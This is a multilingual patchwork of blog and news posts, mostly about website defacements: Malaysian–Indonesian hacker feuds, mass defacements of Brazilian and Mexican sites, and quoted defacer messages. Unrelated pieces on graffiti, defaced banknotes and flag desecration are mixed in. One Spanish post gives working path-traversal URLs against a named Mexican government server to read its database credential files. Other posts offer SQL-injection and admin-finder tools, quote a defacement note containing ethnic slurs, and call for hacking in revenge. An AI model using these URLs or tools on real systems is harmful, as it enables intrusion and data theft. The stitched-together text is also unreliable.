Hujung minggu lepas aku banyak buang masa surfing internet.. makan dan tido. Cuaca di luar hujan renyai-renyai. Sebenarnya aku buang masa aku di 2 buah portal yang saling menjahanamkan sesama sendiri; iaitu tbd.com | The Hollow Within dari Malaysia dan jugak Jasakom Community dari Indonesia.

Dua kelompok online komuniti saling menggodam antara satu sama lain; deface website dan bla bla bla. 2 komuniti ini saling mendakwa mereka mempunyai pasukan hacker yang handal. Aku yang buta kayu bab I.T ni pun terus lah membaca topik-topik dalam kedua kelompok online komuniti nusantara ni. Maki hamun dah jadi lumrah. Kalau sini kena deface sana kena maki; kalau sana kena deface, sini pulak kena maki.. lumayan dan gratis dong… hahaha. Kedua-dua kelompok hacker muda ni memang berbakat dan berintelek. Di Jasakom Community, aku lihat kelompok mereka begitu beria mau mendeface maybank2u.com; aku tersenyum sinis dalam hati aku berkata… lantak kau lah labu.

Pada 2007, teruja.com pernah kena defaced, beberapa tahun sebelumnya pada 2003 kalau tak silap, kedahonline kena defaced. Dalam 2009 ni aje ada sejumlah website Malaysia yang jadi mangsa terutama di kemuncak kempen sweeping malingsia, buluh runcing Indon.

Kepada semua Hackers / defacers tak kira di Malaysia mahupun indon; ni aku yang buta kayu bab I.T mengakhiri entri kali ini dengan satu Manifesto..

This is our world now. The world of the electron and the switch; the beauty of the baud. We exist without nationality, skin color, or religious bias. You wage wars, murder, cheat, lie to us and try to make us believe it’s for our own good, yet we’re the criminals. Yes, I am a criminal. My crime is that of curiosity. I am a hacker, and this is my manifesto. You may stop me, but you can’t stop us all.”

Amacam? gerun tak? aku yang buta kayu bab I.T publish satu manifesto hacker yang aku extract dari filem Hacker (1995).

Oh yea.. satu lagi pesanan aku yang buta kayu bab I.T ni kepada semua “hacker” .. grow up la bhai, deface tu mainan newbie… true hacker / cracker takkan mendabik dada dan mengaku hacker kalau setakat deface dan delete root. Wokay? Grow up!

p/s : aku sengaja tak buat link ke kedua portal berkenaan; jika mahu membaca apa yang ada dalam kedua-dua portal berkenaan, lu orang google jek berdasarkan nama portal yang aku taip tu.

salud!

No momento em que as Forças Armadas realizam a Operação Laçador, a maior simulação de guerra da America do Sul, centenas de sites do Exército Brasileiro sofreram desfigurações.

O grupo Red Eye, um dos mais antigos em atividades no Brasil, aproveitou-se de uma falha de Inclusão de Arquivos Locais (LFI), para criar um acesso remoto ao servidor, como o Kernel (núcleo) estava desatualizado, conseguiram obter acesso root ao servidor.

Assim como acontece no mundo real, onde as Forças Armadas não conseguem vigiar nossa enorme fronteira, no mundo virtual parece que está acontecendo o mesmo problema, já que não é a primeira vez que sites das Forças Armadas são desfigurados…

Fonte: www.zone-h.com.br

Empezando la tarde con un buen post, al visitar la pagina de tunich me gusto la forma de postear las vulnerabilidades de paginas de interes social. Aqui ayudando a esa idea posteo esta vulnerabilidad.

La pagina vulnerable: administracion.saf.tabasco.gob.mx
Vulnerabilidad: /scripts/descarga.php?ruta=
Metodo: Full Path Discloure

Explotando:
administracion.saf.tabasco.gob.mx/scripts/descarga.php?ruta=../../admin/administracion/periodico/../../Connections/db_source.php
administracion.saf.tabasco.gob.mx/scripts/descarga.php?ruta=../../admin/administracion/periodico/../../Connections/db_conection.php
administracion.saf.tabasco.gob.mx/scripts/descarga.php?ruta=../../admin/administracion/periodico/index.php

Ahi se las dejo, es cuestion de la imaginacion.
Como dirian por ahi… Happy hacking.

/klanx

Este post se propone dar a conocer la noticia de un mass deface que se logro hacer a los sitios mexicanos.

El team [CPM] Ciber Protesta Mexicana, trata de poner un alto al gobierno. para que dejen hablar al pueblo mexicano y latinoamericano.

estos ataques estan caracterizados por decir esto:

HACKED BY [CPM]Ciber Protesta Mexicana

propuesta ciudadana

/////////////////////////////

Las paginas actualmente defaceadas son:

Lista de páginas hackeadas:

http://www.mexicosos.com.mx/

http://www.cofupro.org.mx

http://www.palenqueonline.com/

http://www.colima.gob.mx/

http://www.tuxtla.gob.mx/

http://www.casadelarchivo.gob.mx/

http://www.spm.org.mx/

http://convermex.com.mx/

http://www.laboratoriosjulio.com.mx/

http://www.parggon.com.mx/

http://www.colegiocervantesprimaria.edu.mx/

http://www.monitorapcj.com/

http://eldiariodechihuahua.com.mx/

http://www.arrobajuarez.com

http://www.lapuertanoticias.com

http://www.almargen.com.mx/

http://www.eldiariodedelicias.com.mx/

http://plataformafinancierajz.com/

http://www.regionlibre.com

http://flymissions.com/

http://www.hallofmetal.com/

http://www.sdr.gob.mx/

http://www.gruposaveres.com/

http://www.colorescreativos.com.mx/

http://www.lasarenasclub.org/

http://www.liconsa.gob.mx/

http://agendapublica.org/

http://www.panhgo.org.mx/

http://www.michoacan.gob.mx/

http://www.h24.com.mx

http://juanmanuelpresidente2009.com/

http://ligadeunidadsocialista.org/

Algo interesate es que puedes apoyarlos escribiendo una propuesta como pueblo y ser humano mexicano.

y decir lo que te gustaria que cambiara, ojala esta idea sea escuchada y publicada por la infinidad de lugares de comunicacion de aqui de mexico.

Saludos!

/Klanx

JAKARTA – Situs salah satu perusahaan penyiaran di Indonesia, ANTV, berhasil dikerjai hacker. Sang hacker mendeface beberapa bagian halaman situs.

Ditelusuri okezone, Kamis (12/11/2009), situs tersebut memang terlihat sehat-sehat saja jika dilihat dari tampilan depan. Namun begitu, saat disusuri lebih dalam, di sebuah halaman tidak terlihat berita atau informasi apapun. Hanya saja, sang hacker meninggalkan sebuah running teks dengan tulisan ‘hacked by james0baster’.

Sedangkan pada halaman lain, tertulis ‘hacked by bejamz’, disertai tampilan ‘newbie deface crew’ dengan artistik yang cukup menarik, dilengkapi gambar dua karakter kartun Mario Bros.

Pesan defacer:
Indonesia Ready To Save Your Security !!!
We Are From Hacker-Newbie Community
Just Fun To Defaced Your Site !!
Woot-Root-Defaced-Down Permanently
Fuck Malaysian and Arabic Site
==||Hacker-newbie.org||devilsc0de||Server Is Down||All Indonesian Haxor||
::: We are from Indonesia :::
Mail On inbox@bejamz.us
http://hacker-newbie.org

Rupanya, sang hacker berkali-kali datang ke situs ini. Buktinya, dalam penulisannya tertera tanggal 29 Oktober 2009 dan 12 November 2009. (srn)

Di hari Sabtu ini, ternyata muncul lagi serangan tambahan kepada L. Evans, seorang anggota Brimob Polda Sumsel yang pada hari Kamis (5/11) lalu membuat heboh dengan status FaceBook provokatifnya (untuk tulisan saya tentang itu, baca di sini). Serangan itu dilakukan oleh hacker yang merusak halaman situs dengan mengganti tampilannya atau deface. Korbannya adalah situs Rumah Sakit Pusat Pertamina (RSPP) dan situs Kepolisian Republik Indonesia (Polri). Dengan segera tindakan vandalisme tersebut tercium media massa dan menjadi pemberitaan luas. Situs RSPP sempat down beberapa jam, sebelum akhirnya muncul dengan perbaikan. Sementara situs Polri tanpa waktu down lama, langsung diperbaiki. Akan tetapi, baru di siang hari ada perbaikan untuk situs Polri, sementara RSPP baru di sore harinya. Kini, bila Anda mengklik kedua situs itu, sudah kembali normal. Padahal, semula di situs Polri di bagian regular news ada tambahan foto Evan dan tulisan yang mengecamnya berbunyi: “SAMPAH MASYARAKAT = EVAN BRIMOB.” Di samping kanannya juga ada tulisan lain:  ”INDONESIA TIDAK BUTUH EVAN BENCONG”.  Di bawah foto Evan yang persis seperti foto di Facebook itu terdapat link berita berjudul ‘Klarifikasi Kapolri terhadap penanganan dua Pimpinan KPK non-aktif Bibit Samad Rianto dan Chandra M Hamzah.’ Sementara di sebelah kanan foto terpampang foto-foto para buronan polisi yang muncul secara bergantian.

Sementara di situs RSPP ada satu halaman dinamis dengan tiga gambar berurutan yang kesemuanya hasil olahan manipulasi foto Photoshop mulai dari yang paling atas foto Evan diberikan lingkaran tembak dengan tulisan “Target Operasi”, kedua adalah foto Evan sedang berdiri dengan tangan di belakang lengkap dengan seragam Brimob namun diberi tambahan rambut wanita panjang dan diberi tambahan “lipstick” serta “eye-shadow” dengan tulisan “Banci Kaleng” dan “Salut dengan Bro Evan sudah berani dengan rakyat Indonesia yang membayar gaji Anda.…Sebagai bentuk penghargaan akan kami kirim karangan buka duka cita berikut peti jenazahnya…..Bonus kuburan beserta tanahnya…..”. Tampilan pada situs RSPP terasa lebih menghina karena pada bagian ketiga ada foto kepala Evan dimanipulasi dengan Photoshop dan dipasangkan ke badan pembantu yang sedang ngepel. Apalagi ditambah tulisan “Kagak ada kata maap buat lo” disertai gambar tangan mengepal seakan hendak memukul di atasnya dan tulisan “Udah gan.. ampun gan… kesiani eike gan…” yang ditulis rata kanan dengan ilustrasi foto hasil manipulasi “Evan jadi pembantu” tadi. Istilah “gan” merupakan istilah yang lazim digunakan dalam forum internet terutama kaskus.

Hacking sebenarnya merupakan perbuatan yang tidak dibenarkan oleh hukum. Namun, melakukannya  lebih mudah daripada melacak pelakunya. Tidak perlu waktu lama bagi seorang praktisi Teknologi Informasi (T.I.) terutama yang memiliki spesialisasi pemrograman atau keamanan internet untuk melakukan hacking. Dan hebatnya, kalau pelakunya ahli, itu akan jadi “the perfect crime” alias kejahatan sempurna yang tak terlacak. Dari hasil deface-nya, terlihat tampilan deface di situs RSPP lebih ‘enak dilihat’ karena menggunakan file dinamis, kemungkinan berekstensi .gif atau .flv. Namun mengingat situs rumah sakit ini tidak update, apalagi menurut bagian Humasnya sudah satu tahun tidak digunakan, maka kemungkinan lebih mudah masuk ke dalam system situs ini ketimbang situs Polri yang tampaknya lebih update. Artinya, ada web admin yang bekerja mengawasi situs Polri lebih intens ketimbang milik RSPP.

Namun, ada keterangan bahwa kedua situs tersebut berasal dari alamat I.P. (Internet Protocol) yang sama. Sehingga, kemungkinan penyedia hosting atau malah pembuatnya perusahaan yang sama. Dan penyebab deface bisa jadi karena perusahaan tersebut belum mengupdate atau menutup security patch webserver Apache versi 2.2.8 yang running di atas sistem operasi Linux Ubuntu dari servernya. Bagaimanapun, akan lebih baik apabila web admin apalagi bagi situs publik sebesar RSPP dan Polri tetap waspada setiap waktu. Walau tindakan Evan Brimob tak patut, namun deface situs yang tidak langsung berhubungan sebenarnya juga melanggar azas kepatutan, bahkan bisa dikategorikan kejahatan. Walau bisa dikategorikan kejahatan, tampaknya para defacers dua situs itu akan tak tersentuh hukum. Selain faktor kesulitan pelacakan, juga apa yang mereka lakukan seolah adalah membela kepentingan umum. Padahal, di situs Polri sang defacers menampilkan diri dengan identitas “Wawan Hermansyah, S.Sos.” Karena kejahatan hacking adalah delik aduan, maka bila pemilik situs tidak merasa dirugikan atau tidak mau menuntut, maka polisi tidak akan melakukan penyidikan.

It's peanut butter dollar time!

http://www.holytaco.com/25-hilarious-defaced-bills

Everyone’s seen a “Where’s George” dollar from time to time, but the real treasures are the unique works of dollar art. This list of 25 good ones could well be inspiration for many more.

Conversor_Ascii.exe

convierte textos a codigo ascii

DESCARGAR

UnionSelect TOOL.exe

Encuentra cuantas tablas tiene una pagina vulnerable

DESCARGAR

admin-path

Encuentra el directorio para logearse como admin

DESCARGAR

Pagi ini sekitar jam 08.00 WIB, buka twitter kok muncul tulisan “Twitter is Over Capacity”. Ilustrasinya lucu: ikan paus digotong sekawanan burung. Ini memang bener-bener over load karena banyak orang yang cicit-cuit, deface, atau pishing? Ada yang pernah mengalami kejadian serupa?

This is disgusting.

And it is illegal in that state… and most states for that matter.

IC 35-45-1-4
Flag desecration
     Sec. 4. (a) A person who knowingly or intentionally mutilates, defaces, burns, or tramples any United States flag, standard, or ensign commits flag desecration, a Class A misdemeanor.

Kokomo Perspective via the Free Republic (hat tip Fred)

This is a local UAW based rag, but they tend to have better local news coverage than the longtime Tribune.

This Obamanation was spotted on a street in Kokomo, IN

Isn’t it a crime to deface the American flag? No, seriously.

Not a photoshop! – Atlas Shrugs

hmm …
sebenernya cukup gak percaya juga dengan apa yang saya tulis di judul “jasakom.com hacked by malaysian hacker ?“. suatu forum/komunitas hacker indonesia yang sangat terkenal yang mengulas dan membahasa security ternyata bisa dihack. Dan yang melakukan deface tersbut yaitu para malaysian hacker dari salah satu forum malaysia ya itu TBD.MY. berikut pesan yang ditinggalkan mereka di homepage jasakom


HACKED BY TBD.MY
Sepandai tupai melompat, akhirnya jatuh ke tanah juga.
I came here for a revenge for what you have done to our early tbd.
How does it feel now? you website has been hacked! Do you even have backup?
Do whatever you want, who cares, Good luck with your backup.
If its not because of Indonesian stupidity, we (malaysian) dont even how to hate Indonesia.
Why we hack you? because of Indonesian egos and stupidity.
We dont hate Indonesian, but YOU (Indonesian) make us hate you.
All database has been droped like you did to tbdsecurity.com database
JASAKOM, IF YOU THINK YOU ARE SECURE ? YOURE NOT!!
youre nothing just piece of crap. We wont attack you, If you stay away from .my sites
Greetz: XShimeX, suhz, Th3-Banjarian, TBD.MY, Dark Malaysia, HMSecurity, d3ck4

sebagai warga negara indonesia saya merasa panas dan emosi membara. ayo hacker-hacker indonesia jangan mau kalah dengan mereka. jangan sampai situs-situs indonesia diklaim mereka juga.
ayo bangkit-bangkit …..

hacker indonesia pasti lebih hebat dari pada mereka ….

Hello. I hope you are all well.

I got home today from work to find some unsavoury pieces of art on our fence. Some juvenile delinquents have sprayed random stuff on on it, defacing it in the process.

It’s not what the graffiti symbolized or represented – they don’t mean anything to me, but probably do to those in the graffiti or uneducated community – but for me it’s a slight on my lovely home and this beautiful family I’ve tried so hard to establish from scratch.

It wasn’t just our home that had our property defiled. Our neighbour’s home across the street copped it as well. They didn’t have some very explicit words on it though.

Back in May I talked about maintaining the security and upholding the harmony of your family and loved ones with necessary protection after a pretty scary incident with a would-be robber. Since then we have had security doors, grilles and roller shutters installed at our home. It set us back many thousands of dollars, but at least we feel better knowing our home is well looked after.

When Michele came home in the evening she asked me if I had noticed the graffiti. She had noticed it on the way to work in the morning as well. I’m surprised she did not ask me about it when we were on the phone during lunch time.

It’s not something I would like to think about much, but it does put things into perspective. I’m hoping it’s not a personal attack on my family; who knows which family or ethnic community we might have upset.

Michele and I came here from distant lands and have worked hard to get to where we are today. We don’t dole bludge, live off Centrelink payments or rely on Government handouts. If people are envious because we – racial minorites and an inter-racial couple – represent success and progress, then some people have a lot of growing up and eye-opening to do.

I’m not comfortable with the art on our fence. It could mean nothing as a bunch of drunk juveniles with no sense of responsibilities walked past our fence and decided the plain fence needed some touching up. It probably is just that. But I tend to over think things and analyze it until my head hurts.

Should I clean it? Or leave it? Cleaning it might invite more graffiti as the dickheads might live just around the area and are watching my home.

I might walk up to the neighbour’s home and ask if they know anything about the graffiti. The families along our street are of the older variety. Most have children and grandchildren and live alone and look forward to weekends as the families visit. We’re the only young family in the area and stick out like a sore thumb. But these are good families and good people and I would have to think we’re the victims of our own success because we are ‘different’.

Okay I’ll leave it at that. Here I am again, over thinking. Might be interesting to see if more art appears in the weeks or months to come.

Did some reading on the older intrusions, found contradictory elements in much of the literature which made me laugh. Whats more believable? The account of a 16 year old defacing the Jurassic Park homepage three days before opening night, then reveal the exploit only to go on to receive a Job offer and reject it ( This is an account from a book by Mitnick himself and thus gains some credibility in my mind). The second story by a equally credible author, Schneier, who wrote the widely read “applied cryptography” but lacks knowledge of what the real underground culture of hacking is largely constituted off (read Secrets and Lies a relatively interesting book), who says the website was defaced as a Marketing Ploy to sell tickets. Hard call in my opinion.

L’admin di Rem0te.org (Necrofiend) ha defacciato un po’ di community sui famosi CMS: myBB, phpBB, vBulletin e PHP-Fusion (e basta mi pare XD).

Lui ritiene di essere l’unico autore di tali deface ma molti lo contraddicono affermando che il pwnt è stato tutta opera di Paradox…

Sta a voi decidere chi ha ragione… ByeZ

Lista forums defacciati:
www.infernet.ws
www.xhdweb.it
www.eurohackers.it
www.cheating-zone.net
www.mentedigitale.org
www.rbt-4.net
www.liquid-security.net
www.king-infet.net
www.romeoausoni.com

Dalla discussioni originale qui si è finiti nel completo chaos tra insulti e altro.

Ecco uno screenshot preso da Rem0te.org:

P.S. I DEFACE ERANO A SCOPO PUBBLICITARIO,, IN MODO CHE REMOTE.ORG VENISSE RIPOPOLATA DA NUOVA UTENZA

Novamente o site da OI teve problemas de segurança, assim como ocorreu no final do ano passado, quando o site foi usado para disseminar vírus, um grupo Red Eye obteve acesso a um dos servidores da empresa, desfigurando 32 sites da mesma.

Fonte: www.zone-h.com.br

Um dos grupos mais antigos em atividade no Brasil, conhecidos como Red EyE, efetuou um ataque em massa contra sites do Governo brasileiro. Este é o maior ataque registrado contra instituições do nosso governo. 

O membro do grupo, conhecido como HADES, desfigurou 453 sites através de uma falha de SQL Injection em um sistema de administração existente no servidor.
Ataques de SQL Injection são o segundo método mais utilizado para atacar websites atualmente. Tendo em vista que para efetuar este tipo de ataque não é necessário uma falha de sistema operacional ou no servidor web. A falha está no desenvolvimento da página, a qual pode conter consultas SQL que são realizadas de forma insegura, dando assim ao cracker, o poder de manipulá-las de maneira arbitrária…

Esta não é a primeira vez que o defacer HADES ataca sites do Governo, em novembro do ano passado ele efetuou um ataque em massa contra 302 sites do governo.

Fonte: www.zone-h.com.br